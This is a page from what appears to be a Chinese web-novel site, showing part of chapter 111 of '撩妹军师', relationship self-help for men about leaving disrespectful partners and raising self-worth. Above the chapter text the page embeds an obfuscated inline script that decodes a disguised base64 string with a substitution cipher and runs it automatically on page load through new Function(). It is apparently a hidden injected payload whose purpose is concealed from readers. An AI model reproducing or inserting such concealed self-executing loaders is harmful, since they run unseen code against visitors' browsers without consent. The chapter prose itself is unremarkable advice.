当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一页
目录 | 设置
下一章

第111章 摆脱情感内耗,重塑恋爱中的自我价值(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

我们经常在网络上看到那些让人哭笑不得的梗,比如男朋友惹女生生气了,就要跪搓衣板、跪榴莲之类的。很多人可能以为这只是一些玩笑话,是情侣之间的小打小闹。但实际上,在现实生活中,真的存在这样令人痛心的情况。我就亲眼见过这样一个场景:在熙熙攘攘的大街上,一个女生对着自己的男朋友呼来喝去,她的眼神中充满了不屑和愤怒,每一句话都像一把尖锐的刀,狠狠地刺向男生的尊严。她甚至还对男生拳打脚踢,完全不顾及周围人的目光和男生的感受。而那个男生呢,却像是失去了灵魂的木偶,竟然还扯着女生的裤脚,像一个犯错的孩子一样乞求原谅。兄弟们,我们是谈恋爱,不是供奉一个祖宗啊!爱情应该是平等和尊重的,不是一方对另一方的压迫和伤害。遇到这种不懂得尊重人的女生,我们一定要赶紧跑,打车跑、玩命地跑,不要有丝毫的犹豫,否则你的后半辈子可能就会在无尽的痛苦和折磨中度过,那种生活简直就是一场噩梦。

我曾经听说过这样一个令人唏嘘的故事。有一个男生和一个女生在一起后,原本以为会开启一段美好的恋情。可是,女生却经常在朋友面前贬低男生,她的话语就像冰冷的寒风,吹得男生瑟瑟发抖。她会说男生没本事、赚不到钱之类的话,完全不顾及男生的自尊心。一开始,男生还忍着,他觉得女生可能只是一时生气,等气消了就好了。可是,女生并没有收敛,反而越来越过分。有一次,在男生的同事聚会上,女生因为一点小事就对男生大发雷霆,她的声音在整个聚会场所回荡,让男生在所有同事面前下不来台,就像一个被扒光衣服示众的人,尊严荡然无存。从那以后,男生终于下定决心和女生分手了。他说,他不能在一段没有尊重的感情里继续消耗自己的生命和尊严,他要找回那个曾经自信的自己。

这章没有结束,请点击下一页继续阅读!第四点:提升配得感,相信自己值得被爱

兄弟们,在感情的复杂世界里,还有一个非常关键的点,那就是配得感。我们一定要在心中始终坚定地种下一个信念,那就是我们可以配得上任何一个女人,不要让自卑感在我们的心中生根发芽,不要觉得自己不配拥有美好的爱情。一旦我们开始否定自己,觉得自己没有资格拥有那令人向往的爱情,那么我们的精神状态就会像陷入了泥沼一样,越来越差。因为在生活中,有一种神奇的心理现象,那就是你越是害怕什么,往往就越容易发生什么。你越是自卑,总是担心女朋友会在未来某一天离开自己,那么这种负面的心理暗示就可能会像诅咒一样,最终让她真的离你而去。而且,我们不要因为一个不值得的、不爱我们的女生而怀疑自己,我们的爱真诚而热烈,就像璀璨的阳光,无论是谁得到这份爱都是一种幸运,如果她不懂得珍惜,那是她的眼光问题,是她的损失,而不是我们的错。

那么,具体该如何提升配得感呢?这里我给兄弟们分享三个行之有效的方法。

第一,找到支持你的集体,让自己自信起来

如果你的女朋友总是打压你,或者家里人总是挑你的刺、数落你,总是拿你和别人比较,让你感觉自己就像一个永远无法达到标准的失败者,这时候最好的办法就是勇敢地远离这些负面的影响,就像一只展翅高飞的鸟儿离开那片压抑的乌云,去寻找能够实现自我价值的地方和支持你的集体。比如说在工作中,来自老板的肯定就像一束温暖的阳光,穿透云层照在我们身上;同事的赞赏就像轻柔的微风,拂过我们的心田,让我们感到舒适和自信。当你成功完成一个项目时,那种自豪感就像一座坚固的堡垒,让你充满力量。这些来自外界的积极反馈都可以成为我们自信的源泉,让我们感受到自己的价值。这些小小的自信就像一颗颗璀璨的星星,一点一点地积累起来,积少成多,最终汇聚成一片璀璨的星空,让你整个人的状态发生翻天覆地的变化。你要去做自己擅长的事情,就像鱼儿回到水中一样自在,发挥自己的天赋。

,去做那些能让自己经常得到鼓励和肯定的事。只有当你的状态好了,你才能够拥有一段健康的恋爱关系,不会被对方牵着鼻子走,而是能够平等地和对方相处,共同经营美好的爱情。

就像我的一个客户,他以前在感情中非常自卑,因为他的女朋友总是对他不满意,总是说他不够浪漫,不能像其他男生那样给她奢华的礼物,还说他不够有钱,不能满足她物质上的欲望。在这种长期的打压下,他每天都过得很压抑,就像生活在黑暗的洞穴里,看不到一丝希望。工作对他来说也失去了动力,他觉得自己做什么都没有意义。后来,他毅然决然地换了一份工作,在新的工作环境中,他就像一颗被埋没的金子终于被发现了一样。他的能力得到了充分的发挥,每次提出的方案都得到了老板的高度评价,同事们也都对他赞赏有加。在这种积极向上的氛围中,他开始逐渐变得自信起来,和女朋友相处的时候也不再像以前那样唯唯诺诺,小心翼翼。虽然最后他和女朋友还是因为各种原因分手了,但他却因此找到了真正适合自己的人,因为他已经拥有了足够的自信,这种自信让他在新的感情中能够展现出自己的魅力,吸引到真正欣赏他的人。

第二,不断给自己建立正向反馈机制

当我们完成一个具有挑战性的任务时,无论是在工作上完成一个艰巨的项目,还是在生活中克服一个长期困扰我们的困难,我们都要学会奖励自己一件喜欢的东西,比如吃一顿自己垂涎已久的美食,或者买一件心仪已久的衣服。这种奖励就像给我们的心灵注入了一针强心剂,当我们享受这些奖励的时候,我们的大脑就会分泌多巴胺,这种神奇的物质会让我们感受到快乐和满足,它就像一个神奇的小天使,会记住这种快乐的感觉,然后把这种感觉深深地印在我们的脑海中。之后,当我们面临新的挑战时,这种快乐的记忆就会激励我们去勇敢地迎接挑战,完成接下来的任务。这种正向反馈机制就像一个良性循环的齿轮,会让我们不断地感受到自己的价值,从而提升我们的配得感。

比如说,你一直想减肥,这是一个对很多人来说都颇具挑战性的目标。你需要控制饮食,每天坚持运动,克服各种美食的诱惑和身体的疲劳。经过一段时间坚持不懈的努力,你成功减掉了几斤,这时候,你就可以给自己买一件漂亮的新衣服作为奖励,这件新衣服就像是你努力的勋章。当你穿上它的时候,你会看到自己身材的变化,感受到自己的努力得到了回报,这种奖励会让你觉得自己的努力是有价值的,是值得的。下次你在面对美食的诱惑或者想要偷懒的时候,你就会想起这种美好的感觉,从而更有动力去继续减肥。在感情中也是一样,当你在和女生相处的过程中,有了一些小的进步,比如你成功地和女生聊了一次愉快的天,你们之间的氛围轻松而愉快,或者你成功地约女生出去约会了一次,你们度过了一个美好的时光,这时候你就可以给自己一个小奖励,比如买一本自己一直想看的书,或者去看一场期待已久的电影。这样你会在这个过程中越来越自信,在女生面前也会更有魅力,因为自信的你就像一块磁铁,会吸引女生的目光。

第三,每天都有意识地自我夸赞,改掉潜意识的自我否定

伊能静曾经在直播间里说过一句非常有哲理的话:永远不要觉得自己是有限的,不要觉得自己普通。因为一旦你有了这种自我贬低的想法,一旦你感觉到自己很脆弱,你就会觉得自己无法支配自己的人生,

喜欢撩妹军师请大家收藏:撩妹军师本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间